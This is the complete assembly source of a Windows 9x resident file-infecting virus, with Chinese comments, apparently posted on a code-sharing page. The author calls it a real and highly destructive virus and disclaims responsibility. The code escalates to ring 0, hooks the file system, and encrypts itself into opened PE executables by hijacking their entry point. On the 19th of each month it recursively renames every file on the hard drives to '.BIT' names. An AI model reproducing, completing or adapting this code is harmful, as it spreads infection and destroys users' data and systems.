Win98下的驻留病毒

;***************************************************************
;*                          编者的话                           *
;*-------------------------------------------------------------*
;*  (1) 编译连接方法(用Tasm5.0编译器)                          *
;*      tasm /m bit                                            *
;*      tlink32 bit                                            *
;*-------------------------------------------------------------*
;*  (2) 这是一个真正的病毒程序。仅供对病毒有浓厚兴趣的电脑发   *
;*  烧友研究之用。若有人用于恶意的传播,概与本人无关。         *
;*-------------------------------------------------------------*
;*  (3) 本程序的破坏性极大,请不要轻易尝试。                   *
;*-------------------------------------------------------------*
;*  (4) 参考资料:                                             *
;*      CIH源程序,CAW源程序                                   *
;*      MSDN文档,《Winows95系统编程的奥秘》                    *
;***************************************************************

;************************************************
;* 这是一个可以感染Windows 9x系统的32位病毒程序 *
;************************************************
.586P
.Model Flat
.CODE

;************************
;*  设置程序的运行状态  *
;************************
DEBUG = 0
;******************
;*  VXD 功能调用  *
;******************
_PageAllocate                   = 00010053h
IFSMgr_Ring0_FileIO             = 00400032h
UniToBCSPath                    = 00400041h
IFSMgr_InstallFileSystemApiHook = 00400067h
;******************************************************************************
;*                                                                            *
;*                                   引导模块                                 *
;*                                                                            *
;******************************************************************************
Start:
@A = $
                 xchg eax,esi
OriginalEntryPoint = $+1
                 mov eax,'PVOK'
                 xor eax,esi[Key-@A]
                 push eax

IF DEBUG
   InterruptNumber = 05h
ElSE
   InterruptNumber = 03h
ENDIF

                 push eax
                 sidt [esp-02h]
                 pop ebx
                 add ebx,InterruptNumber*08h

                 lea eax,esi[MyFaultHook-@A]
                 push eax
                 cli
                 mov [ebx],ax
                 shr eax,16
                 mov [ebx+6],ax
                 sti
                 pop eax
;***************************
;*  产生中断以获得0特权级  *
;***************************
                 int InterruptNumber
QuitMyProgram:
                 pop eax
ReturnFromMyProgram:
                 ret
                 db 0E0h
;************
;*  数据区  *
;************
Key              db 0
LocationTable    dd SizeOfSectionB             ; 段的大小
                 dd OffsetOfSectionB+401000h   ; 段的虚地址
                 dd 0,0
                 dd 0,0
                 dd 0,0
;*************************
;*  我的Ring0特权级代码  *
;*************************
MyFaultHook:
                 mov ecx,dr3
                 jecxz MyProgramIsNotInstalled
                 iret
MyProgramIsNotInstalled:
                 xor eax,eax
                 cdq
                 push 0Fh    ; flag
                 push eax    ; PhysAddr
                 dec edx
                 push edx    ; maxPhys
                 push eax    ; minPhys
                 push eax    ; AlignMask
                 push eax    ; VM = 0
                 inc eax     ; Let EAX = 1
                 push eax    ; nType = PG_SYS(01h)
                 push eax    ; nPages = 1
                 int 20h
                 dd _PageAllocate
                 add esp,04h*08h

                 test eax,eax
                 jnz SuccessfullyAllocate
                 iretd

SuccessfullyAllocate:
                 mov edi,eax
                 pushad
                 lea ebx,esi[LocationTable-Start]    ; 获得定位表的基址
                 mov eax,esi[Key-@A-1]               ; 获得解锁的密钥
;******************************************
;*  将病毒代码复制到已分配的系统内存区域  *
;******************************************
                 xor ecx,ecx
                 mov cl,SizeOfSectionA
                 cld
                 rep movsb
                 push edi
NumberOfSections = $+1
                 mov dl,1
LoopOfTransferring:
                 mov ecx,[ebx]
                 mov esi,ebx[4]
                 add ebx,8
                 call ConvertCode
                 dec dl
                 jnz LoopOfTransferring
                 ret
;****************************************
;*             加密/解密程序            *
;*--------------------------------------*
;* 入口参数:                            *
;*   AH--密钥                           *
;*  ECX--要加密的字节数                 *
;*  ESI--待加密信息的起始地址           *
;*  EDI--加密后的信息的存放地址         *
;****************************************
ConvertCode:
@B = $
                 cld
LoopOfConverting:
                 lodsb
                 xor al,ah
                 stosb
                 loop LoopOfConverting
                 ret
;******************************************************************************
;*                                                                            *
;*                                  引导模块结束                              *
;*                                                                            *
;******************************************************************************
;----------------------------
   SizeOfSectionA   = $-Start
   OffsetOfSectionB = $-Start
;----------------------------
;******************************************************************************
;*                                                                            *
;*                                 功能模块                                   *
;*                                                                            *
;******************************************************************************
SectionB:
;**************************
;*  安装IFSMgr的文件钩子  *
;**************************
                 popad
                 add eax,MyFileSystemApiHookFunction-Start
                 mov esi,eax
                 push eax
                 int 20h
                 dd IFSMgr_InstallFileSystemApiHook
                 pop ecx

                 test eax,eax
                 jnz SuccessfullyInstallFileSystemApiHook
                 iretd
SuccessfullyInstallFileSystemApiHook:
                 mov dr3,esi
                 lea ecx,edi[PreFileSystemApiHook-Start]
                 mov [ecx],eax                                    ; 保存前一个文件钩子
                 dec byte ptr ecx[IsBusy-PreFileSystemApiHook]    ; 设置我的文件钩子'空闲'标志
                 iretd
;**********************
;*  恢复旧的搜索路径  *
;**********************
GetOldSearchPath:
                 sub edi,ecx
                 mov [edi],'*.*'
                 ret
;**********************
;*  我的文件钩子函数  *
;**********************
MyFileSystemApiHookFunction:

;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
;    当系统进入文件钩子函数处理时,堆栈的使用情况如下图所示
;  ______________________________
; |         Return EIP           | Low Address
; |______________________________|
; |          FSDFnAddr           |---> 00h
; |______________________________|
; |          FunctionNum         |---> 04h
; |______________________________|
; |            Drive             |---> 08h
; |______________________________|
; |          ResourceFlags       |---> 0ch
; |______________________________|
; |           CodePage           |---> 10h
; |______________________________|
; |             pir              |---> 14h
; |______________________________| High Address
;
;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                 pushad
;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
; 执行指令'PUSHAD'后,堆栈的使用情况如下图所示
;  ______________________________
; |             EDI              |---> ESP (Low Address)
; |______________________________|
; |             ESI              |
; |______________________________|
; |             EBP              |
; |______________________________|
; |             ESP              |
; |______________________________|
; |             EDX              |
; |______________________________|
; |             ECX              |
; |______________________________|
; |             EBX              |
; |______________________________|
; |             EAX              |
; |______________________________|
; |         Return EIP           |---> 20h
; |______________________________|
; |          FSDFnAddr           |---> 24h
; |______________________________|
; |          FunctionNum         |---> 28h
; |______________________________|
; |            Drive             |---> 2Ch
; |______________________________|
; |          ResourceFlags       |---> 30h
; |______________________________|
; |           CodePage           |---> 34h
; |______________________________|
; |             pir              |---> 38h  (High Address)
; |______________________________|
;
;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                 call @C
GetBaseAddressOfFileNameString:
                 lea esi,edx[130h]
                 cmp byte ptr [esi],0
                 jnz QuitGettingBaseAddressOfFileNameString
                 lea esi,edx[2Ch]
QuitGettingBaseAddressOfFileNameString:
                 ret
@C:
                 pop edi
                 add edi,VxdCall_IFSMgr_Ring0_FileIO-@C   ; 在本模块中,EDI作为寻址的基址
                 mov ebp,esp
                 cmp byte ptr edi[IsBusy-@D],00h          ; 我的文件钩子"空闲"吗?
                 jz MyFileSystemApiHookFunctionIsFree
;**********************************
;*   如果我的文件钩子函数正忙,则  *
;* 只调用FSD服务并且返回          *
;**********************************
MyFileSystemApiHookFunctionIsBusy:
                 push dword ptr ebp[38h]      ; [EBP+38H]->FSD服务程序地址
                 call ebp[24h]
                 pop ecx
                 mov ebp[1Ch],eax             ; 保存FSD服务的返回值
                 popad
                 ret
;**************************
;*  我的文件钩子函数空闲  *
;**************************
MyFileSystemApiHookFunctionIsFree:
                 cmp dword ptr ebp[28h],36        ; FSD功能号是否为IFSFN_OPEN ?
                 jnz GotoPreFileSystemApiHook

                 inc byte ptr edi[IsBusy-@D]      ; 设置我的文件钩子'忙'标志

                 mov edx,ebp[38h]
                 mov edx,edx[0Ch]
                 add edx,4                        ; EDX指向Unicode路径
                 lea esi,edi[BcsWAnsiFileName]    ; ESI指向存放转化后的普通ASCII路径的缓冲区

                 mov al,ebp[2Ch]
                 cmp al,-1                        ; 是否为UNC(Universal Naming Conversation)地址?
                 jz CallUniToBCSPath
                 add al,40h
                 mov [esi],al
                 inc esi
                 mov byte ptr [esi],':'
                 inc esi
CallUniToBCSPath:
                 xor ecx,ecx
                 push ecx        ; CharSet = BCS_WANSI
                 push 07Fh       ; 文件名缓冲区的最大长度
                 push edx        ; Unicode字符串的基址
                 push esi        ; 存放普通ASCII字符串的缓冲区的基址
                 int 20h
                 dd UniToBCSPath
                 add esp,04h*04h

                 mov [esi+eax],cl
                 cmp [esi+eax-4],'EXE.'           ; 该文件是一个可执行文件吗?
                 jnz AbortOnNoExecutableFile
IF DEBUG
                 cmp [esi+eax-8],'TSET'           ; 是测试文件吗(在调试状态下有效)?
                 jnz AbortOnNoExecutableFile
ENDIF
                 dec esi
                 dec esi                          ; ESI指向普通ASCII字符串的基址
;                             ############################
;                             #  My Triggered Execution  #
;                             ############################
                 mov al,07h
                 out 70h,al
                 jmp $+2
                 in al,71h
IFE DEBUG
                 sub al,019h             ; 判断日期
ELSE
                 sub al,019h
ENDIF
                 jnz Exitance
;***********************************************
;*                更名函数                     *
;*   寄存器参数:                               *
;*     ESI:指向当前路径字符串的开始            *
;*     EDI:指向当前路径字符串的结尾            *
;*     EDX:指向Win32_Find_Data结构             *
;***********************************************
IFE DEBUG
                 inc dword ptr edi[DriveNumber-@D]
ENDIF
                 xchg ebp,edi
                 lea edx,ebp[Win32_Find_Data]

                 lea esi,ebp[Path]
DriveNumber = $+2
IF DEBUG
                 mov [esi],'*/:G'
ELSE
                 mov [esi],'*/:C'
ENDIF
                 mov dword ptr esi[4],"*."             ; Search Path: 'G:/*.*',0
                 lea edi,esi[3]

                 lea eax,ebp[QuitMyTrigger-@D]
                 push eax                              ; 压入出口地址
;****************************************
;*  用递归法搜索硬盘上的所有目录及文件  *
;****************************************
ScanDisk:
;**************************
;** 查找文件及更改文件名 **
;**************************
                 mov ax,4E00h
                 push 07h
                 pop ecx
                 call ebp
                 jc NoMoreFiles
                 xchg eax,ebx
;**********************
;*  形成替换的文件名  *
;**********************
                 push esi
                 push edi
                 mov ecx,edi
                 sub ecx,esi
                 lea edi,ebp[ReplacingFileName]
                 cld
                 rep movsb
                 mov eax,'0000'
                 stosd
                 mov eax,'TIB.'
                 stosd
                 mov [edi],cl
                 pop edi
                 pop esi
SearchNextFile:
;************************
;*  形成被替换的文件名  *
;************************
                 push edi
                 push esi
                 call GetBaseAddressOfFileNameString
                 push 13
                 pop ecx
                 cld
                 rep movsb
                 pop esi
                 pop edi

                 push edx
                 lea edx,edi[ReplacingFileName-Path]
                 mov eax,[edx]
;*******************************
;*  数字ASCII字符串自加一程序  *
;*******************************
                 add eax,1
                 aaa
                 push 03h
                 pop ecx
LoopOfAsciiInc:
                 push eax
                 lahf
                 and ah,0EFh         ; 清除'AF'标志
                 sahf
                 pop eax
                 pushfd
                 ror eax,8
                 popfd
                 aaa
                 loop LoopOfAsciiInc
                 ror eax,8
                 or eax,30303030h
;------------------------------------------------
;------------------------------------------------
                 mov [edx],eax

                 lea edx,ebp[ReplacingFileName]
                 mov ax,5600h
                 call ebp
                 pop edx

                 mov ax,4F00h
                 call ebp
                 jnc SearchNextFile

                 mov ax,0DC00h
                 call ebp
NoMoreFiles:
                 mov [edi],'*.*'
;------------------------------------------------
                 mov ax,4E00h
                 mov cx,1016h
                 call ebp
                 xchg eax,ebx
                 jc NoMoreDirectories
                 call GetNewSearchPath
                 jecxz SearchNextDirectory
                 push ebx
                 push ecx
                 call ScanDisk
                 pop ecx
                 pop ebx
                 call GetOldSearchPath
SearchNextDirectory:
                 mov ax,4F00h
                 call ebp
                 jc NoMoreDirectories
                 call GetNewSearchPath
                 jecxz SearchNextDirectory
                 push ecx
                 push ebx
                 call ScanDisk
                 pop ebx
                 pop ecx
                 call GetOldSearchPath
                 jmp SearchNextDirectory
NoMoreDirectories:
                 mov ax,0DC00h
                 call ebp
                 ret
;                              #################################
;                              #  My Triggered Execution Ends  #
;                              #################################
Exitance:
;*************************************************
;*        获取文件最后的修改日期/时间            *
;*************************************************
;*      IFSMgr_Ring0_FileIO的4304号服务的功能是  *
;*  获得文件最后的的修改时间/日期。但事实上该服  *
;*  务只在CX中返回了修改时间。那么我们所关心的   *
;*  另外一个返回值在哪呢?幸运的是我们最终还是   *
;*  找到它了。它位于废弃的堆栈之中,线性地址为    *
;*  [ESP-0B4h]。请注意,该ESP的值是执行指令      *
;*  INT 20h VxdCall IFSMgr_Ring0_FileIO时的      *
;*  ESP的值。                                    *
;*************************************************
                 mov ax,4304h
                 call edi
                 shl ecx,16
                 mov cx,esp[-0B8h]
                 mov edi[ReadingBuffer-14h],ecx
; ******************
; *  获取文件属性  *
; ******************
                 xor eax,eax
                 mov ah,43h           ; GET_ATTRIBUTES
                 xor ecx,ecx
                 push eax
                 call edi
                 pop eax
                 xchg ebx,ecx
                 test bl,01h          ; 该文件是只读文件吗?
                 jz NotReadOnlyFile
; ******************************
; *  将只读文件修改为普通文件  *
; ******************************
                 inc eax
                 xor ecx,ecx
                 call edi
                 jc AbortOnModifyingAttributeFailure
NotReadOnlyFile:
                 push ebx                 ; 保存文件原来的属性
; *********************
; *  为读/写打开文件  *
; *********************
                 xor eax,eax
     mov ah,0D5h ; R0_OPENCREATFILE
     xor ecx,ecx ; Attributes = FILE_ATTRIBUTE_NORMAL(00h)
     cdq
     inc edx  ; Action = FILE_OPEN(01h)
     mov ebx,edx
     inc ebx  ; ModeAndFlags = OPEN_ACCESS_READWRITE(02h)
     call edi
                 jc AbortOnOpeningFailure
                 xchg ebx,eax   ; 保存文件句柄到EBX
; *******************
; *  读入DOS文件头  *
; *******************
                 xor eax,eax
                 mov ah,0D6h    ; R0_READFILE
                 push 40h
                 pop ecx        ; DOS文件头的大小
                 cdq            ; 读操作的起始位置
                 lea esi,edi[ReadingBuffer]     ; ESI指向读入缓冲区
                 push eax
                 call edi
                 pop eax
;************************
;*  读入NT文件头及节表  *
;************************
                 mov edx,esi[3Ch]               ; IMAGE_DOS_HEADER[3Ch]指向新的EXE文件头的偏移地址
                 mov esi[-0Ch],edx              ; 保存NT文件头的偏移地址
                 mov ecx,378h                   ; 378h为NT文件头及节表数组的大小
                 call edi
                 cmp dword ptr [esi],00004550h  ; 该文件是一个PE格式的可执行文件吗?
                 jnz Abort
;**************************
;*  检查文件是否已被感染  *
;**************************
                 cmp word ptr esi[0FEh],'CR'    ; 'RC'是文件已被感染或者文件没有足够剩余空间的标志
                 jz Abort
                 movzx eax,word ptr esi[06h]    ; IMAGE_NT_HEADERS[06h]->NumberOfSections
                 mov ecx,eax
                 xchg ebp,edx                   ; EDX为NT文件头的偏移
                 cdq
                 mov dl,28h
                 mul edx
                 add eax,0F8h
                 mov edi[ReadingBuffer-10h],eax ; 保存NT文件头及节表数组的实际尺寸
                 add eax,ebp                    ; 计算PE文件头中空闲空间的偏移地址
                 mov esi[-08h],eax              ; 保存PE文件头中空闲空间的偏移地址
                 xchg ecx,ebp                   ; EBP=NumberOfSections
                 mov edx,esi[10Ch]              ; IMAGE_NT_HEADERS[10Ch]->PointerToRawData
                 mov esi[54h],edx               ; IMAGE_NT_HEADERS[054h]->SizeOfHeaders
                 sub edx,eax                    ; 获得空闲空间的大小
                 mov esi[-04h],edx
;------------------------------------------------
                 lea eax,esi[100h]
                 xor ecx,ecx
                 mov cl,SizeOfSectionA
                 mov edx,eax[08h]
                 sub edx,[eax]
                 cmp edx,ecx
                 jb RemainNoSpaceForSectionA
                 mov edx,[eax]                    ; [EAX]->VirtualSize
                 add edx,eax[04h]                 ; [EAX+4]->VitualAddress
                 xchg esi,edx                     ; 保存新的入口地址的RVA
;------------------------------------------------
                 mov edx,eax[0Ch]
                 add edx,[eax]
                 add [eax],ecx
                 jmp InsertSectionB
RemainNoSpaceForSectionA:
                 cmp edi[ReadingBuffer-04h],ecx
                 jb AbortOnInsufficientSpace
                 mov edx,edi[ReadingBuffer-08h]
                 mov esi,edx
                 add edi[ReadingBuffer-08h],ecx   ; 调整空闲空间的偏移
                 sub edi[ReadingBuffer-04h],ecx   ; 调整空闲空间的尺寸
InsertSectionB:
                 push esi
                 push edx                         ; 保存插入位置的偏移地址
                 push ecx
                 push 0                           ; 压入结束标志
                 mov edi[ReadingBuffer-18h],ebx   ; 保存EBX
                 xor ebx,ebx
                 mov ecx,SizeOfSectionB
;************************************
;*  为我的程序的'功能模块'寻找空间  *
;************************************
; _____________________
;|                     |
;|  Name               |
;|_____________________|
;|                     |--->000h (EAX)
;|  VirtualSize        |
;|_____________________|
;|                     |--->004h
;|  VirtualAddress     |
;|_____________________|
;|                     |--->008h
;|  SizeOfRawData      |
;|_____________________|
;|                     |--->00Ch
;|  PointerToRawData   |
;|_____________________|
;|                     |--->010h
;| PointerToRelocations|
;|_____________________|
;|                     |--->014h
;| PointerToLinenumbers|
;|_____________________|
;|                     |--->018h
;| NumberOfRelocations |
;|_____________________|
;|                     |--->01Ah
;| NumberOfLinenumbers |
;|_____________________|
;|                     |--->01Ch
;|   Characteristics   |
;|_____________________|
LoopOfInsertingSectionB:
                 mov edx,eax[08h]      ; [EAX+08h]->SizeOfRawData
                 sub edx,[eax]         ; 计算SizeOfRawData和VirtualSize的差(该差值即为该节中剩余空间的大小)
                 jb SearchNextSection  ; 防止处理 '.data'节时发生错误
                 cmp edx,ecx
                 jb LessSpaceThanNeeded
                 mov edx,ecx
                 jmp SaveParameter
LessSpaceThanNeeded:
                 cmp edx,100
                 jb SearchNextSection
                 xchg ecx,edx
SaveParameter:
;---------------------------------------------------
                 mov esi,eax[04h]
                 add esi,edi[ReadingBuffer+34h]
                 add esi,[eax]
                 push esi           ; 保存该段的虚地址
;---------------------------------------------------
                 mov esi,eax[0Ch]   ; [EAX+0Ch]->PointerToRawData
                 add esi,[eax]      ; 获得该段插入位置的偏移地址
                 push esi           ; 保存该段插入位置的偏移地址
;--------------------------------------------------
                 add [eax],ecx
;---------------------------------------------------
                 push ecx           ; 保存该段的大小
                 sub edx,ecx
                 xchg ecx,edx       ; 计算还有多少字节未写入
;--------------------------------------------------
                 inc ebx
                 jecxz WriteSectionB
                 cmp bl,03h
                 jz SearchSpaceInFileHeader
SearchNextSection:
                 add eax,28h
                 dec ebp
                 jnz LoopOfInsertingSectionB
SearchSpaceInFileHeader:
                 cmp edi[ReadingBuffer-04h],ecx
                 jnb FindSpace
;------------------------------------------------
                 xchg ecx,ebx
                 xchg ebx,edi[ReadingBuffer-18h]
;------------------------------------------------
                 push 12
                 pop eax
                 mul ecx
                 add eax,16
                 add esp,eax
;------------------------------------------------
                 jmp AbortOnInsufficientSpace
FindSpace:
                 mov eax,edi[ReadingBuffer-08h]
                 mov edx,eax
                 add edx,edi[ReadingBuffer+34h]
                 push edx                           ; 保存最后一段的虚地址
                 push eax                           ; 保存最后一段插入位置的偏移地址
                 push ecx                           ; 保存最后一段的大小
                 inc ebx
WriteSectionB:
;************************************
;*  将我的程序代码传送到写入缓冲区  *
;************************************
                 lea edx,edi[ConvertCode-@D]
                 mov edx[Key-@B],ah
                 mov ecx,SizeOfSectionB
                 lea esi,edi[WritingBuffer]
                 push edi
                 lea edi,edx[SectionB-@B]
                 xchg esi,edi
                 call edx
                 pop ebp
                 xchg esi,edi
;------------------------------------------------
                 xchg ecx,ebx
                 xchg ebx,ebp[ReadingBuffer-18h]    ; 恢复EBX
;------------------------------------------------
                 mov edx[NumberOfSections-@B],cl    ; 保存功能模块被分成的段数
                 lea edi,[edx+LocationTable-@B+8*ecx-4]
LoopOfWritingSectionB:
                 mov ax,0D601h
                 pop ecx
                 jecxz FinishWritingSectionB
                 pop edx
                 sub esi,ecx
                 call ebp
                 pop eax
                 std
                 stosd
                 xchg eax,ecx
                 stosd
                 jmp LoopOfWritingSectionB
FinishWritingSectionB:
                 xchg ebp,edi
;*******************************
;*  获得并保存原程序的入口地址 *
;*******************************
                 lea ebp,edi[ReadingBuffer]
                 mov eax,ebp[34h]            ; IMAGE_NT_HEADERS[34h]->ImageBase
                 add eax,ebp[28h]            ; IMAGE_NT_HEADERS[28h]->AddressOfEntryPoint
                 lea esi,edi[Start-@D]
                 lea ecx,esi[ReturnFromMyProgram-@A]
                 mov byte ptr [ecx],0FFh     ; 产生一条'JMP EAX'指令以便将控制权交还给原程序
                 add ecx,OriginalEntryPoint-ReturnFromMyProgram
;**************************
;*  加密原程序的入口地址  *
;**************************
                 xor eax,esi[Key-@A]
                 mov [ecx],eax
;**************************
;*  插入病毒的'引导模块'  *
;**************************
                 mov ax,0D601h
                 pop ecx
                 pop edx
                 call edi
                 pop eax
                 mov edi[ReadingBuffer+28h],eax   ; 修改程序的入口地址
;**************************
;*  修改原程序的NT文件头  *
;**************************
AbortOnInsufficientSpace:
                 mov word ptr edi[ReadingBuffer+0FEh],'CR'   ; 设置感染标志
                 mov ax,0D601h
                 mov ecx,edi[ReadingBuffer-10h]
                 mov esi,ebp
                 mov edx,edi[ReadingBuffer-0Ch]
                 call edi
                 jmp CloseFile
Abort:
                 xor ecx,ecx
;**************
;*  关闭文件  *
;**************
CloseFile:
                 xor eax,eax
                 mov ah,0D7h
                 call edi
;**********************************
;*   恢复文件最后的修改日期/时间  *
;**********************************
                 jecxz RestoreFileAttribute
                 lea esi,edi[BcsWAnsiFileName]
                 xchg edi,ebx
                 mov ax,4303h
                 mov ecx,ebx[ReadingBuffer-12h]
                 mov edi,ebx[ReadingBuffer-14h]
                 call ebx
                 xchg edi,ebx
AbortOnOpeningFailure:
;******************
;*  恢复文件属性  *
;******************
RestoreFileAttribute:
                 pop ecx
                 mov ax,4301h
                 test cl,01h
                 jz NotRestoreFileAttribute
                 call edi
AbortOnNoExecutableFile:
AbortOnModifyingAttributeFailure   =   $
QuitMyTrigger                      =   $
NotRestoreFileAttribute            =   $
                 call @E
;****************************************
;*  根据查找的结果形成一个新的搜索路径  *
;****************************************
GetNewSearchPath:
                 push esi
                 call GetBaseAddressOfFileNameString
                 xor ecx,ecx
                 cmp byte ptr [esi],'.'         ; 在DOS系统中,'.'表示当前目录,'..'表示父目录
                 jz QuitGettingNewPath
                 cld
LoopOfGettingNewPath:
                 lodsb
                 test al,al
                 jz ReachEndOfString
                 stosb
                 inc ecx
                 jmp LoopOfGettingNewPath
ReachEndOfString:
                 mov byte ptr [edi],'/'
                 inc edi
                 mov [edi],'*.*'
                 inc ecx
QuitGettingNewPath:
                 pop esi
                 ret
@E:
                 pop edi
                 dec byte ptr edi[IsBusy-@E]  ; 设置我的文件钩子'空闲'标志
GotoPreFileSystemApiHook:
                 popad
PreFileSystemApiHook = $+2
                 jmp ds:['PVOK']
VxdCall_IFSMgr_Ring0_FileIO:
@D = $
                 int 20h
                 dd IFSMgr_Ring0_FileIO
                 ret
;********************
;*  Data Section A  *
;********************
IsBusy db 1

;***************************************************
;*                  动态数据区                     *
;*-------------------------------------------------*
;*    本区域中的数据不占用任何磁盘空间,它们位于程  *
;* 序引导时申请的系统内存区域                      *
;***************************************************
;*******************************************
Path                 =
$-@D+48h
ReplacingFileName    = Start-@D+0700h
Win32_Find_Data      = Start-@D+0C00h
;*******************************************
BcsWAnsiFileName  =
Start-@D+0A00h
ReadingBuffer     = $-@D+28h                               ; (Relative To EDI)
WritingBuffer     =
Start-@D+0B00h                         ; (Relative To EDI)
;*******************************************
SizeOfSectionB = $-SectionB

; 我的程序申请的系统内存区域的使用情况
;  _________________________
; |                         |---> OFFSET 0
; |       Section One       | ==> offset 0: My Program Code
; |                         |
; |                         |
; |                         |
; |                         |
; |                         |
; |                         | ==> Save EBX Register     (ReadingBuffer-18h)
; |                         | ==> Last Write Date/Time  (ReadingBuffer-14h)
; |                         | ==> Size Of Section Array (ReadingBuffer-10h)
; |                         | ==> PE Header RVA         (ReadingBuffer-0Ch)
; |                         | ==> Pointer To Free Space (ReadingBuffer-08h)
; |_________________________| ==> Size Of Free Space    (ReadingBuffer-04h)
; |                         |---> OFFSET ???H
; |       Section Two       | ==> offset 0: Reading Buffer
; |                         |
; |_________________________|
; |                         |---> OFFSET 800H
; |      Section Three      | ==> offset 0:    Ansi File Name
; |                         |
; |                         |
; |                         |
; |_________________________|
; |                         |---> OFFSET C00H
; |                         | ==> offset 0: Writing Buffer
; |                         |
; |      Section Four       |
; |                         |
; |_________________________|

;******************************************************************************
;*                                                                            *
;*                              功能模块结束                                  *
;*                                                                            *
;******************************************************************************
MyProgramSize  = $-Start

END Start

;********************************************************
;*                     SUMARY                           *
;*   This program can do the following thing:           *
;*    (1) Get ring0 previliege                          *
;*    (2) Install FileSystemApiHook                     *
;*    (3) My FileSystemApiHook run steadily             *
;*    (4) The second part of my code is encrypted       *
;*    (5) The program will be activated on the 19th     *
;*        day of every month.After it has been          *
;*        activated,it will search all harddisk drive   *
;*        except C for all files and rename them with   *
;*        a new file name with the extansion '.BIT'.    *
;********************************************************

你可能感兴趣的:(Win98下的驻留病毒)